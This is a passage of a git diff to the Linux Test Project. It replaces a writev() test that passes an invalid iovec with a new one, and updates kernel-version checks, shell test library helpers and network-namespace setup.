- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-/*
- * NAME
- *	writev04.c
- *
- * DESCRIPTION
- *	The testcases are written calling writev() with partially valid data
- *	to overwrite the contents, to write in the beginning and to write in
- *	the end of the file. This is same as writev03.c, but the length of
- *	buffer used here is 8192 bytes.
- *
- * USAGE:  <for command-line>
- *      writev04 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *      where,  -c n : Run n copies concurrently.
- *              -e   : Turn on errno logging.
- *              -i n : Execute test n times.
- *              -I x : Execute test for x seconds.
- *              -P x : Pause for x seconds between iterations.
- *              -t   : Turn on syscall timing.
- *
- * History
- *	07/2001 John George
- *		-Ported
- *      04/2002 wjhuie sigset cleanups
- *
- * Restrictions
- *	NONE
- */
-#include <sys/types.h>
-#include <sys/uio.h>
-#include <sys/mman.h>
-#include <unistd.h>
-#include <signal.h>
-#include <fcntl.h>
-#include <memory.h>
-#include <errno.h>
-#include "test.h"
-
-#define	K_1	8192
-
-#define	NBUFS		4
-#define	CHUNK		64	/* single chunk */
-#define	MAX_IOVEC	4
-#define	DATA_FILE	"writev_data_file"
-
-char buf1[K_1], buf2[K_1], buf3[K_1];
-char *bad_addr = 0;
-
-struct iovec wr_iovec[MAX_IOVEC] = {
-	/* testcase #1 */
-	{buf1 + (CHUNK * 6), CHUNK},
-	{(caddr_t) - 1, CHUNK},
-	{buf1 + (CHUNK * 8), CHUNK},
-	{NULL, 0}
-};
-
-char name[K_1], f_name[K_1];
-int fd[2], in_sighandler;
-char *buf_list[NBUFS];
-
-char *TCID = "writev04";
-int TST_TOTAL = 1;
-
-void sighandler(int);
-long l_seek(int, long, int);
-void setup(void);
-void cleanup(void);
-int fail;
-
-#if !defined(UCLINUX)
-
-int main(int argc, char **argv)
-{
-	int lc;
-
-	int nbytes;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	setup();		/* set "tstdir", and "testfile" vars */
-
-	/* The following loop checks looping state if -i option given */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		buf_list[0] = buf1;
-		buf_list[1] = buf2;
-		buf_list[2] = buf3;
-		buf_list[3] = NULL;
-
-		fd[1] = -1;	/* Invalid file descriptor */
-
-		if (signal(SIGTERM, sighandler) == SIG_ERR) {
-			perror("signal");
-			tst_resm(TFAIL, "signal() SIGTERM FAILED");
-			cleanup();
-		}
-
-		if (signal(SIGPIPE, sighandler) == SIG_ERR) {
-			perror("signal");
-			tst_resm(TFAIL, "signal() SIGPIPE FAILED");
-			cleanup();
-		}
-
-		memset(buf_list[0], 0, K_1);
-		memset(buf_list[1], 0, K_1);
-
-		if ((fd[0] = open(f_name, O_WRONLY | O_CREAT, 0666)) < 0) {
-			tst_resm(TFAIL, "open(2) failed: fname = %s, "
-				 "errno = %d", f_name, errno);
-			cleanup();
-		} else {
-			if ((nbytes = write(fd[0], buf_list[1], K_1)) != K_1) {
-				tst_resm(TFAIL, "write(2) failed: nbytes "
-					 "= %d, errno = %d", nbytes, errno);
-				cleanup();
-			}
-		}
-
-		if (close(fd[0]) < 0) {
-			tst_resm(TFAIL, "close failed: errno = %d", errno);
-			cleanup();
-		}
-
-		if ((fd[0] = open(f_name, O_RDWR, 0666)) < 0) {
-			tst_brkm(TFAIL, cleanup, "open failed: fname = %s, errno = %d",
-				 f_name, errno);
-		}
-//block1:
-		tst_resm(TINFO, "Enter block 1");
-		fail = 0;
-
-		/*
-		 * In this block we are trying to call writev() with
-		 * partially valid data. This should return the valid number
-		 * of bytes written in the vector. If it returns EFAULT, it
-		 * is an error. And after returning the number of valid
-		 * bytes written, the check should be made to verify the
-		 * contents of the first valid write() scheduled.
-		 */
-		if (writev(fd[0], wr_iovec, 3) < 0) {
-			fail = 1;
-			if (errno == EFAULT) {
-				tst_resm(TFAIL, "Got error EFAULT");
-			} else {
-				tst_resm(TFAIL, "Received unexpected error: %d",
-					 errno);
-			}
-		} else {
-			l_seek(fd[0], 0, 0);
-			read(fd[0], buf_list[0], CHUNK);
-			if (memcmp(buf_list[0], buf_list[1], CHUNK) != 0) {
-				tst_resm(TFAIL, "writev overwrote the file");
-				fail = 1;
-			}
-		}
-
-		if (fail) {
-			tst_resm(TINFO, "block 1 FAILED");
-		} else {
-			tst_resm(TINFO, "block 1 PASSED");
-		}
-		tst_resm(TINFO, "Exit block 1");
-
-//block2:
-		tst_resm(TINFO, "Enter block 2");
-		fail = 0;
-
-		/*
-		 * In this block we are trying to over write the contents by
-		 * calling writev() with partially valid data. It should
-		 * return the valid number of bytes written but not EFAULT.
-		 * Also the check should be made whether the initial write()
-		 * scheduled is done correctly or not.
-		 */
-		l_seek(fd[0], 0, 0);
-		if (writev(fd[0], wr_iovec, 3) < 0) {
-			fail = 1;
-			if (errno == EFAULT) {
-				tst_resm(TFAIL, "Got error EFAULT");
-			} else {
-				tst_resm(TFAIL, "Received unexpected error: %d",
-					 errno);
-			}
-		} else {
-			l_seek(fd[0], 0, 0);
-			read(fd[0], buf_list[0], CHUNK);
-			if (memcmp(buf_list[0], buf_list[1], CHUNK) != 0) {
-				tst_resm(TFAIL, "writev overwrote the file");
-				fail = 1;
-			}
-		}
-
-		if (fail) {
-			tst_resm(TINFO, "block 2 FAILED");
-		} else {
-			tst_resm(TINFO, "block 2 PASSED");
-		}
-		tst_resm(TINFO, "Exit block 2");
-
-//block3:
-		tst_resm(TINFO, "Enter block 3");
-		fail = 0;
-
-		/*
-		 * In this block, we are trying to call writev() by going to
-		 * some end position of the file. Here writev() is called
-		 * with partially valid data, and this will return the
-		 * number of valid bytes written and not EFAULT. Also, the
-		 * check should be made whether the inital write() that is
-		 * scheduled with valid data is done correctly.
-		 */
-
-		l_seek(fd[0], 8192, 0);
-		if (writev(fd[0], wr_iovec, 3) < 0) {
-			fail = 1;
-			if (errno == EFAULT) {
-				tst_resm(TFAIL, "Got error EFAULT");
-			} else {
-				tst_resm(TFAIL, "Received unexpected error: %d",
-					 errno);
-			}
-		} else {
-			l_seek(fd[0], 0, 0);
-			read(fd[0], buf_list[0], CHUNK);
-			if (memcmp(buf_list[0], buf_list[1], CHUNK) != 0) {
-				tst_resm(TFAIL, "writev overwrote the file");
-				fail = 1;
-			}
-		}
-
-		if (fail) {
-			tst_resm(TINFO, "block 3 FAILED");
-		} else {
-			tst_resm(TINFO, "block 3 PASSED");
-		}
-		tst_resm(TINFO, "Exit block 3");
-	}
-	close(fd[0]);
-	close(fd[1]);
-	cleanup();
-	tst_exit();
-}
-
-#else
-
-int main(void)
-{
-	tst_resm(TINFO, "test is not available on uClinux");
-	tst_exit();
-}
-
-#endif /* if !defined(UCLINUX) */
-
-/*
- * setup()
- *	performs all ONE TIME setup for this test
- */
-void setup(void)
-{
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/* Create a unique temporary directory and chdir() to it. */
-	tst_tmpdir();
-
-	strcpy(name, DATA_FILE);
-	sprintf(f_name, "%s.%d", name, getpid());
-
-	bad_addr = mmap(0, 1, PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
-	if (bad_addr == MAP_FAILED) {
-		tst_brkm(TBROK, cleanup, "mmap failed");
-	}
-	wr_iovec[1].iov_base = bad_addr;
-
-}
-
-/*
- * cleanup()
- *	performs all ONE TIME cleanup for this test at
- *	completion or premature exit
- */
-void cleanup(void)
-{
-
-	if (unlink(f_name) < 0) {
-		tst_resm(TFAIL, "unlink Failed--file = %s, errno = %d",
-			 f_name, errno);
-	}
-	tst_rmdir();
-
-}
-
-/*
- * sighandler()
- *	Signal handler function for SIGTERM and SIGPIPE
- */
-void sighandler(int sig)
-{
-	switch (sig) {
-	case SIGTERM:
-		break;
-	case SIGPIPE:
-		++in_sighandler;
-		return;
-	default:
-		tst_resm(TFAIL, "sighandler() received invalid signal "
-			 ": %d", sig);
-		break;
-	}
-
-	if ((unlink(f_name) < 0) && (errno != ENOENT)) {
-		tst_resm(TFAIL, "unlink Failed--file = %s, errno = %d",
-			 f_name, errno);
-		cleanup();
-	}
-	exit(sig);
-}
-
-/*
- * l_seek()
- *	Wrap around for regular lseek function for giving error message
- */
-long l_seek(int fdesc, long offset, int whence)
-{
-	if (lseek(fdesc, offset, whence) < 0) {
-		tst_resm(TFAIL, "lseek Failed : errno = %d", errno);
-		fail = 1;
-	}
-	return 0;
-}
diff --git a/testcases/kernel/syscalls/writev/writev07.c b/testcases/kernel/syscalls/writev/writev07.c
new file mode 100644
index 0000000..20a5590
--- /dev/null
+++ b/testcases/kernel/syscalls/writev/writev07.c
@@ -0,0 +1,151 @@
+/*
+ *
+ *   Copyright (c) Linux Test Project, 2016
+ *
+ *   This program is free software;  you can redistribute it and/or modify
+ *   it under the terms of the GNU General Public License as published by
+ *   the Free Software Foundation; either version 2 of the License, or
+ *   (at your option) any later version.
+ *
+ *   This program is distributed in the hope that it will be useful,
+ *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ *   the GNU General Public License for more details.
+ */
+
+/*
+ * Test Description:
+ *   Verify writev() behaviour with partially valid iovec list.
+ *   Kernel <4.8 used to shorten write up to first bad invalid
+ *   iovec. Starting with 4.8, a writev with short data (under
+ *   page size) is likely to get shorten to 0 bytes and return
+ *   EFAULT.
+ *
+ *   This test doesn't make assumptions how much will write get
+ *   shortened. It only tests that file content/offset after
+ *   syscall corresponds to return value of writev().
+ *
+ *   See: [RFC] writev() semantics with invalid iovec in the middle
+ *        https://marc.info/?l=linux-kernel&m=147388891614289&w=2
+ */
+
+#include <errno.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <sys/mman.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <sys/uio.h>
+#include "tst_test.h"
+
+#define TESTFILE "testfile"
+#define CHUNK 64
+#define BUFSIZE (CHUNK * 4)
+
+static void *bad_addr;
+
+static void test_partially_valid_iovec(int initial_file_offset)
+{
+	int i, fd;
+	unsigned char buffer[BUFSIZE], fpattern[BUFSIZE], tmp[BUFSIZE];
+	long off_after;
+	struct iovec wr_iovec[] = {
+		{ buffer, CHUNK },
+		{ bad_addr, CHUNK },
+		{ buffer + CHUNK, CHUNK },
+		{ buffer + CHUNK * 2, CHUNK },
+	};
+
+	tst_res(TINFO, "starting test with initial file offset: %d ",
+		initial_file_offset);
+
+	for (i = 0; i < BUFSIZE; i++)
+		buffer[i] = i % (CHUNK - 1);
+
+	memset(fpattern, 0xff, BUFSIZE);
+	tst_fill_file(TESTFILE, 0xff, CHUNK, BUFSIZE / CHUNK);
+
+	fd = SAFE_OPEN(TESTFILE, O_RDWR, 0644);
+	SAFE_LSEEK(fd, initial_file_offset, SEEK_SET);
+	TEST(writev(fd, wr_iovec, ARRAY_SIZE(wr_iovec)));
+	off_after = (long) SAFE_LSEEK(fd, 0, SEEK_CUR);
+
+	/* bad errno */
+	if (TEST_RETURN == -1 && TEST_ERRNO != EFAULT) {
+		tst_res(TFAIL | TTERRNO, "unexpected errno");
+		SAFE_CLOSE(fd);
+		return;
+	}
+
+	/* nothing has been written */
+	if (TEST_RETURN == -1 && TEST_ERRNO == EFAULT) {
+		tst_res(TINFO, "got EFAULT");
+		/* initial file content remains untouched */
+		SAFE_LSEEK(fd, 0, SEEK_SET);
+		SAFE_READ(1, fd, tmp, BUFSIZE);
+		if (memcmp(tmp, fpattern, BUFSIZE))
+			tst_res(TFAIL, "file was written to");
+		else
+			tst_res(TPASS, "file stayed untouched");
+
+		/* offset hasn't changed */
+		if (off_after == initial_file_offset)
+			tst_res(TPASS, "offset stayed unchanged");
+		else
+			tst_res(TFAIL, "offset changed to %ld",
+				off_after);
+
+		SAFE_CLOSE(fd);
+		return;
+	}
+
+	/* writev() wrote more bytes than bytes preceding invalid iovec */
+	tst_res(TINFO, "writev() has written %ld bytes", TEST_RETURN);
+	if (TEST_RETURN > (long) wr_iovec[0].iov_len) {
+		tst_res(TFAIL, "writev wrote more than expected");
+		SAFE_CLOSE(fd);
+		return;
+	}
+
+	/* file content matches written bytes */
+	SAFE_LSEEK(fd, initial_file_offset, SEEK_SET);
+	SAFE_READ(1, fd, tmp, TEST_RETURN);
+	if (memcmp(tmp, wr_iovec[0].iov_base, TEST_RETURN) == 0) {
+		tst_res(TPASS, "file has expected content");
+	} else {
+		tst_res(TFAIL, "file has unexpected content");
+		tst_res_hexd(TFAIL, wr_iovec[0].iov_base, TEST_RETURN,
+				"expected:");
+		tst_res_hexd(TFAIL, tmp, TEST_RETURN,
+				"actual file content:");
+	}
+
+	/* file offset has been updated according to written bytes */
+	if (off_after == initial_file_offset + TEST_RETURN)
+		tst_res(TPASS, "offset at %ld as expected", off_after);
+	else
+		tst_res(TFAIL, "offset unexpected %ld", off_after);
+
+	SAFE_CLOSE(fd);
+}
+
+static void test_writev(void)
+{
+	test_partially_valid_iovec(0);
+	test_partially_valid_iovec(CHUNK + 1);
+	test_partially_valid_iovec(getpagesize());
+	test_partially_valid_iovec(getpagesize() + 1);
+}
+
+static void setup(void)
+{
+	bad_addr = SAFE_MMAP(0, 1, PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS,
+			0, 0);
+}
+
+static struct tst_test test = {
+	.tid = "writev07",
+	.needs_tmpdir = 1,
+	.setup = setup,
+	.test_all = test_writev,
+};
diff --git a/testcases/kernel/timers/Makefile b/testcases/kernel/timers/Makefile
index 69c4e85..15c1640 100644
--- a/testcases/kernel/timers/Makefile
+++ b/testcases/kernel/timers/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../..
diff --git a/testcases/kernel/tracing/ftrace_test/ftrace_regression02.sh b/testcases/kernel/tracing/ftrace_test/ftrace_regression02.sh
index af03a6f..3c32f21 100755
--- a/testcases/kernel/tracing/ftrace_test/ftrace_regression02.sh
+++ b/testcases/kernel/tracing/ftrace_test/ftrace_regression02.sh
@@ -54,8 +54,7 @@
 	fi
 }
 
-tst_kvercmp 3 2 0
-if [ $? -eq 0 ]; then
+if tst_kvcmp -lt "3.2"; then
 	tst_brkm TCONF "The test should be run in kernels >= 3.2.0 Skip the test..."
 fi
 
diff --git a/testcases/kernel/tracing/ftrace_test/ftrace_stress/ftrace_trace_clock.sh b/testcases/kernel/tracing/ftrace_test/ftrace_stress/ftrace_trace_clock.sh
index ca51117..4a3e68a 100755
--- a/testcases/kernel/tracing/ftrace_test/ftrace_stress/ftrace_trace_clock.sh
+++ b/testcases/kernel/tracing/ftrace_test/ftrace_stress/ftrace_trace_clock.sh
@@ -17,8 +17,7 @@
 
 # In kernel which is older than 2.6.32, we set global clock
 # via trace_options.
-tst_kvercmp 2 6 32
-if [ $? -eq 0 ]; then
+if tst_kvcmp -lt "2.6.32"; then
         old_kernel=1
 else
         old_kernel=0
diff --git a/testcases/kernel/tracing/ftrace_test/ftrace_stress/ftrace_trace_stat.sh b/testcases/kernel/tracing/ftrace_test/ftrace_stress/ftrace_trace_stat.sh
index f854e83..50aeef9 100755
--- a/testcases/kernel/tracing/ftrace_test/ftrace_stress/ftrace_trace_stat.sh
+++ b/testcases/kernel/tracing/ftrace_test/ftrace_stress/ftrace_trace_stat.sh
@@ -24,8 +24,7 @@
 
 # For kernels older than 2.6.36, this testcase can result in
 # divide-by-zero kernel bug
-tst_kvercmp 2 6 36
-if [ $? -eq 0 ]; then
+if tst_kvcmp -lt "2.6.36"; then
 	should_skip=1
 fi
 
diff --git a/testcases/lib/.gitignore b/testcases/lib/.gitignore
index 8c5544f..920817c 100644
--- a/testcases/lib/.gitignore
+++ b/testcases/lib/.gitignore
@@ -1,3 +1,6 @@
 tst_sleep
 tst_random
 tst_checkpoint
+tst_rod
+tst_kvcmp
+tst_device
diff --git a/testcases/lib/Makefile b/testcases/lib/Makefile
index fad84ac..1127a59 100644
--- a/testcases/lib/Makefile
+++ b/testcases/lib/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, August 2009
+# Ngie Cooper, August 2009
 #
 
 top_srcdir		?= ../..
@@ -26,6 +26,7 @@
 
 INSTALL_TARGETS		:= *.sh
 
-MAKE_TARGETS		:= tst_sleep tst_random tst_checkpoint
+MAKE_TARGETS		:= tst_sleep tst_random tst_checkpoint tst_rod tst_kvcmp\
+			   tst_device
 
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/lib/cmdlib.sh b/testcases/lib/cmdlib.sh
index 104504f..e4986c3 100644
--- a/testcases/lib/cmdlib.sh
+++ b/testcases/lib/cmdlib.sh
@@ -19,7 +19,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, August 2009
+# Ngie Cooper, August 2009
 #
 
 set -u
diff --git a/testcases/lib/daemonlib.sh b/testcases/lib/daemonlib.sh
index 3d67125..0de3f86 100644
--- a/testcases/lib/daemonlib.sh
+++ b/testcases/lib/daemonlib.sh
@@ -1,7 +1,7 @@
 #!/bin/sh
 #
 # Copyright (C) 2009, Cisco Systems Inc.
-#  Garrett Cooper, August 2009
+#  Ngie Cooper, August 2009
 # Copyright (C) 2012-2014 Linux Test Project
 #
 # This program is free software; you can redistribute it and/or modify
@@ -48,7 +48,7 @@
 {
 	if [ $HAVE_SYSTEMCTL -eq 1 ]; then
 		systemctl start $1.service > /dev/null 2>&1
-	elif command -v service &> /dev/null; then
+	elif command -v service >/dev/null 2>&1; then
 		service $1 start > /dev/null 2>&1
 	else
 		/etc/init.d/$1 start > /dev/null 2>&1
@@ -59,7 +59,7 @@
 {
 	if [ $HAVE_SYSTEMCTL -eq 1 ]; then
 		systemctl stop $1.service > /dev/null 2>&1
-	elif command -v service &> /dev/null; then
+	elif command -v service >/dev/null 2>&1; then
 		service $1 stop > /dev/null 2>&1
 	else
 		/etc/init.d/$1 stop > /dev/null 2>&1
@@ -69,8 +69,8 @@
 status_daemon()
 {
 	if [ $HAVE_SYSTEMCTL -eq 1 ]; then
-		systemctl status $1.service > /dev/null 2>&1
-	elif command -v service &> /dev/null; then
+		systemctl is-active $1.service > /dev/null 2>&1
+	elif command -v service >/dev/null 2>&1; then
 		service $1 status > /dev/null 2>&1
 	else
 		/etc/init.d/$1 status > /dev/null 2>&1
@@ -81,7 +81,7 @@
 {
 	if [ $HAVE_SYSTEMCTL -eq 1 ]; then
 		systemctl restart $1.service > /dev/null 2>&1
-	elif command -v service &> /dev/null; then
+	elif command -v service >/dev/null 2>&1; then
 		service $1 restart > /dev/null 2>&1
 	else
 		/etc/init.d/$1 restart > /dev/null 2>&1
diff --git a/testcases/lib/net_cmdlib.sh b/testcases/lib/net_cmdlib.sh
index d3488f9..fefe33d 100644
--- a/testcases/lib/net_cmdlib.sh
+++ b/testcases/lib/net_cmdlib.sh
@@ -18,7 +18,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, August 2009
+# Ngie Cooper, August 2009
 #
 
 . cmdlib.sh
diff --git a/testcases/lib/test.sh b/testcases/lib/test.sh
index 23d68c6..2e4d868 100644
--- a/testcases/lib/test.sh
+++ b/testcases/lib/test.sh
@@ -1,6 +1,6 @@
 #!/bin/sh
 #
-# Copyright (c) Linux Test Project, 2014
+# Copyright (c) Linux Test Project, 2014-2017
 #
 # This program is free software; you can redistribute it and/or modify
 # it under the terms of the GNU General Public License as published by
@@ -25,6 +25,8 @@
 export TST_COUNT=1
 export TST_LIB_LOADED=1
 
+. tst_ansi_color.sh
+
 # Exit values map
 tst_flag2mask()
 {
@@ -41,13 +43,18 @@
 
 tst_resm()
 {
-	tst_flag2mask "$1"
+	local ttype="$1"
+
+	tst_flag2mask "$ttype"
 	local mask=$?
 	LTP_RET_VAL=$((LTP_RET_VAL|mask))
 
 	local ret=$1
 	shift
-	echo "$TCID $TST_COUNT $ret : $@"
+
+	printf "$TCID $TST_COUNT "
+	tst_print_colored $ret "$ret:"
+	echo " $@"
 
 	case "$ret" in
 	TPASS|TFAIL)
@@ -96,7 +103,7 @@
 
 tst_exit()
 {
-	if [ -n "$TST_CLEANUP" ]; then
+	if [ -n "$TST_CLEANUP" -a -z "$TST_NO_CLEANUP" ]; then
 		$TST_CLEANUP
 	fi
 
@@ -134,6 +141,7 @@
 #
 tst_check_cmds()
 {
+	local cmd
 	for cmd in $*; do
 		if ! command -v $cmd > /dev/null 2>&1; then
 			tst_brkm TCONF "'$cmd' not found"
@@ -219,7 +227,7 @@
 	fi
 }
 
-ROD()
+ROD_BASE()
 {
 	local cmd
 	local arg
@@ -249,57 +257,34 @@
 	else
 		$@
 	fi
+}
 
+ROD()
+{
+	ROD_BASE "$@"
 	if [ $? -ne 0 ]; then
 		tst_brkm TBROK "$@ failed"
 	fi
 }
 
-tst_acquire_device()
+EXPECT_PASS()
 {
-	if [ -z ${TST_TMPDIR} ]; then
-		tst_brkm "Use 'tst_tmpdir' before 'tst_acquire_device'"
+	ROD_BASE "$@"
+	if [ $? -eq 0 ]; then
+		tst_resm TPASS "$@ passed as expected"
+	else
+		tst_resm TFAIL "$@ failed unexpectedly"
 	fi
-
-	if [ -n "${LTP_DEV}" ]; then
-		tst_resm TINFO "Using test device LTP_DEV='${LTP_DEV}'"
-		if [ ! -b ${LTP_DEV} ]; then
-			tst_brkm TBROK "${LTP_DEV} is not a block device"
-		fi
-
-		ROD_SILENT dd if=/dev/zero of="${LTP_DEV}" bs=1024 count=512
-
-		TST_DEVICE=${LTP_DEV}
-		TST_DEVICE_FLAG=0
-		return
-	fi
-
-	ROD_SILENT dd if=/dev/zero of=test_dev.img bs=1024 count=102400
-
-	TST_DEVICE=$(losetup -f)
-	if [ $? -ne 0 ]; then
-		tst_brkm TBROK "Couldn't find free loop device"
-	fi
-
-	tst_resm TINFO "Found free device '${TST_DEVICE}'"
-
-	ROD_SILENT losetup ${TST_DEVICE} test_dev.img
-
-	TST_DEVICE_FLAG=1
 }
 
-tst_release_device()
+EXPECT_FAIL()
 {
-	if [ ${TST_DEVICE_FLAG} -eq 0 ]; then
-		return
-	fi
-
-	losetup -a | grep -q ${TST_DEVICE}
-	if [ $? -eq 0 ]; then
-		losetup -d ${TST_DEVICE}
-		if [ $? -ne 0 ];then
-			tst_resm TWARN "'losetup -d ${TST_DEVICE}' failed"
-		fi
+	# redirect stderr since we expect the command to fail
+	ROD_BASE "$@" 2> /dev/null
+	if [ $? -ne 0 ]; then
+		tst_resm TPASS "$@ failed as expected"
+	else
+		tst_resm TFAIL "$@ passed unexpectedly"
 	fi
 }
 
diff --git a/testcases/lib/test_net.sh b/testcases/lib/test_net.sh
index 2e34626..0849355 100644
--- a/testcases/lib/test_net.sh
+++ b/testcases/lib/test_net.sh
@@ -1,5 +1,6 @@
 #!/bin/sh
-# Copyright (c) 2014-2015 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) 2014-2016 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) 2016-2017 Petr Vorel <pvorel@suse.cz>
 #
 # This program is free software; you can redistribute it and/or
 # modify it under the terms of the GNU General Public License as
@@ -20,6 +21,27 @@
 
 [ -z "$TST_LIB_LOADED" ] && . test.sh
 
+init_ltp_netspace()
+{
+	if [ ! -f /var/run/netns/ltp_ns ]; then
+		ROD ip net add ltp_ns
+		ROD ip li add name ltp_ns_veth1 type veth peer name ltp_ns_veth2
+		ROD ip li set dev ltp_ns_veth1 netns ltp_ns
+		ROD ip netns exec ltp_ns ip li set lo up
+	fi
+
+	LHOST_IFACES="${LHOST_IFACES:-ltp_ns_veth2}"
+	RHOST_IFACES="${RHOST_IFACES:-ltp_ns_veth1}"
+
+	export TST_INIT_NETNS="no"
+	export LTP_NETNS="${LTP_NETNS:-ip netns exec ltp_ns}"
+
+	tst_restore_ipaddr
+	tst_restore_ipaddr rhost
+
+	tst_wait_ipv6_dad
+}
+
 # Run command on remote host.
 # Options:
 # -b run in background
@@ -39,17 +61,14 @@
 
 	while getopts :bsc:u: opt; do
 		case "$opt" in
-		b)
-			pre_cmd="nohup"
-			post_cmd=" > /dev/null 2>&1 &"
-			out="1> /dev/null"
+		b) [ "$TST_USE_NETNS" ] && pre_cmd="" || pre_cmd="nohup"
+		   post_cmd=" > /dev/null 2>&1 &"
+		   out="1> /dev/null"
 		;;
 		s) safe=1 ;;
-		c) cmd=$OPTARG ;;
-		u) user=$OPTARG ;;
-		*)
-			tst_brkm TBROK "tst_rhost_run: unknown option: $OPTARG"
-		;;
+		c) cmd="$OPTARG" ;;
+		u) user="$OPTARG" ;;
+		*) tst_brkm TBROK "tst_rhost_run: unknown option: $OPTARG" ;;
 		esac
 	done
 
@@ -67,6 +86,9 @@
 	if [ -n "$TST_USE_SSH" ]; then
 		output=`ssh -n -q $user@$RHOST "sh -c \
 			'$pre_cmd $cmd $post_cmd'" $out 2>&1 || echo 'RTERR'`
+	elif [ -n "$TST_USE_NETNS" ]; then
+		output=`$LTP_NETNS sh -c \
+			"$pre_cmd $cmd $post_cmd" $out 2>&1 || echo 'RTERR'`
 	else
 		output=`rsh -n -l $user $RHOST "sh -c \
 			'$pre_cmd $cmd $post_cmd'" $out 2>&1 || echo 'RTERR'`
@@ -88,7 +110,7 @@
 # TYPE: { lhost | rhost }; Default value is 'lhost'.
 tst_get_ifaces()
 {
-	local type=${1:-"lhost"}
+	local type="${1:-lhost}"
 	if [ "$type" = "lhost" ]; then
 		echo "$LHOST_IFACES"
 	else
@@ -101,7 +123,7 @@
 # TYPE: { lhost | rhost }; Default value is 'lhost'.
 tst_get_hwaddrs()
 {
-	local type=${1:-"lhost"}
+	local type="${1:-lhost}"
 	local addr=
 	local list=
 
@@ -125,8 +147,8 @@
 # LINK: link number starting from 0. Default value is '0'.
 tst_hwaddr()
 {
-	local type=${1:-"lhost"}
-	local link_num=${2:-"0"}
+	local type="${1:-lhost}"
+	local link_num="${2:-0}"
 	local hwaddrs=
 	link_num=$(( $link_num + 1 ))
 	[ "$type" = "lhost" ] && hwaddrs=$LHOST_HWADDRS || hwaddrs=$RHOST_HWADDRS
@@ -139,9 +161,9 @@
 # LINK: link number starting from 0. Default value is '0'.
 tst_iface()
 {
-	local type=${1:-"lhost"}
-	local link_num=${2:-"0"}
-	link_num=$(( $link_num + 1 ))
+	local type="${1:-lhost}"
+	local link_num="${2:-0}"
+	link_num="$(( $link_num + 1 ))"
 	echo "$(tst_get_ifaces $type)" | awk '{ print $'"$link_num"' }'
 }
 
@@ -167,8 +189,8 @@
 # TYPE: { lhost | rhost }; Default value is 'lhost'.
 tst_ipaddr()
 {
-	local type=${1:-"lhost"}
-	local ipv=${TST_IPV6:-"4"}
+	local type="${1:-lhost}"
+	local ipv="${TST_IPV6:-4}"
 	local tst_host=
 
 	if [ "$type" = "lhost" ]; then
@@ -189,12 +211,14 @@
 # LINK: link number starting from 0. Default value is '0'.
 tst_init_iface()
 {
-	local type=${1:-"lhost"}
-	local link_num=${2:-"0"}
-	local iface=$(tst_iface $type $link_num)
+	local type="${1:-lhost}"
+	local link_num="${2:-0}"
+	local iface="$(tst_iface $type $link_num)"
 	tst_resm TINFO "initialize '$type' '$iface' interface"
 
 	if [ "$type" = "lhost" ]; then
+		ip xfrm policy flush || return $?
+		ip xfrm state flush || return $?
 		ip link set $iface down || return $?
 		ip route flush dev $iface || return $?
 		ip addr flush dev $iface || return $?
@@ -202,6 +226,8 @@
 		return $?
 	fi
 
+	tst_rhost_run -c "ip xfrm policy flush" || return $?
+	tst_rhost_run -c "ip xfrm state flush" || return $?
 	tst_rhost_run -c "ip link set $iface down" || return $?
 	tst_rhost_run -c "ip route flush dev $iface" || return $?
 	tst_rhost_run -c "ip addr flush dev $iface" || return $?
@@ -213,8 +239,8 @@
 # LINK: link number starting from 0. Default value is '0'.
 tst_add_ipaddr()
 {
-	local type=${1:-"lhost"}
-	local link_num=${2:-"0"}
+	local type="${1:-lhost}"
+	local link_num="${2:-0}"
 
 	local mask=24
 	[ "$TST_IPV6" ] && mask=64
@@ -237,8 +263,8 @@
 # LINK: link number starting from 0. Default value is '0'.
 tst_restore_ipaddr()
 {
-	local type=${1:-"lhost"}
-	local link_num=${2:-"0"}
+	local type="${1:-lhost}"
+	local link_num="${2:-0}"
 
 	tst_init_iface $type $link_num || return $?
 
@@ -251,66 +277,112 @@
 	return $ret
 }
 
-# tst_netload ADDR [FILE] [TYPE] [OPTS]
-# Run network load test
-# ADDR: IP address
-# FILE: file with result time
-# TYPE: PING or TFO (TCP traffic)
-# OPTS: additional options
+# tst_wait_ipv6_dad [LHOST_IFACE] [RHOST_IFACE]
+# wait for IPv6 DAD completion
+tst_wait_ipv6_dad()
+{
+	local ret=
+	local i=
+	local iface_loc=${1:-$(tst_iface)}
+	local iface_rmt=${2:-$(tst_iface rhost)}
+
+	for i in $(seq 1 50); do
+		ip a sh $iface_loc | grep -q tentative
+		ret=$?
+
+		tst_rhost_run -c "ip a sh $iface_rmt | grep -q tentative"
+
+		[ $ret -ne 0 -a $? -ne 0 ] && return
+
+		[ $(($i % 10)) -eq 0 ] && \
+			tst_resm TINFO "wait for IPv6 DAD completion $((i / 10))/5 sec"
+
+		tst_sleep 100ms
+	done
+}
+
+# Run network load test, see 'netstress -h' for option description
 tst_netload()
 {
-	local ip_addr="$1"
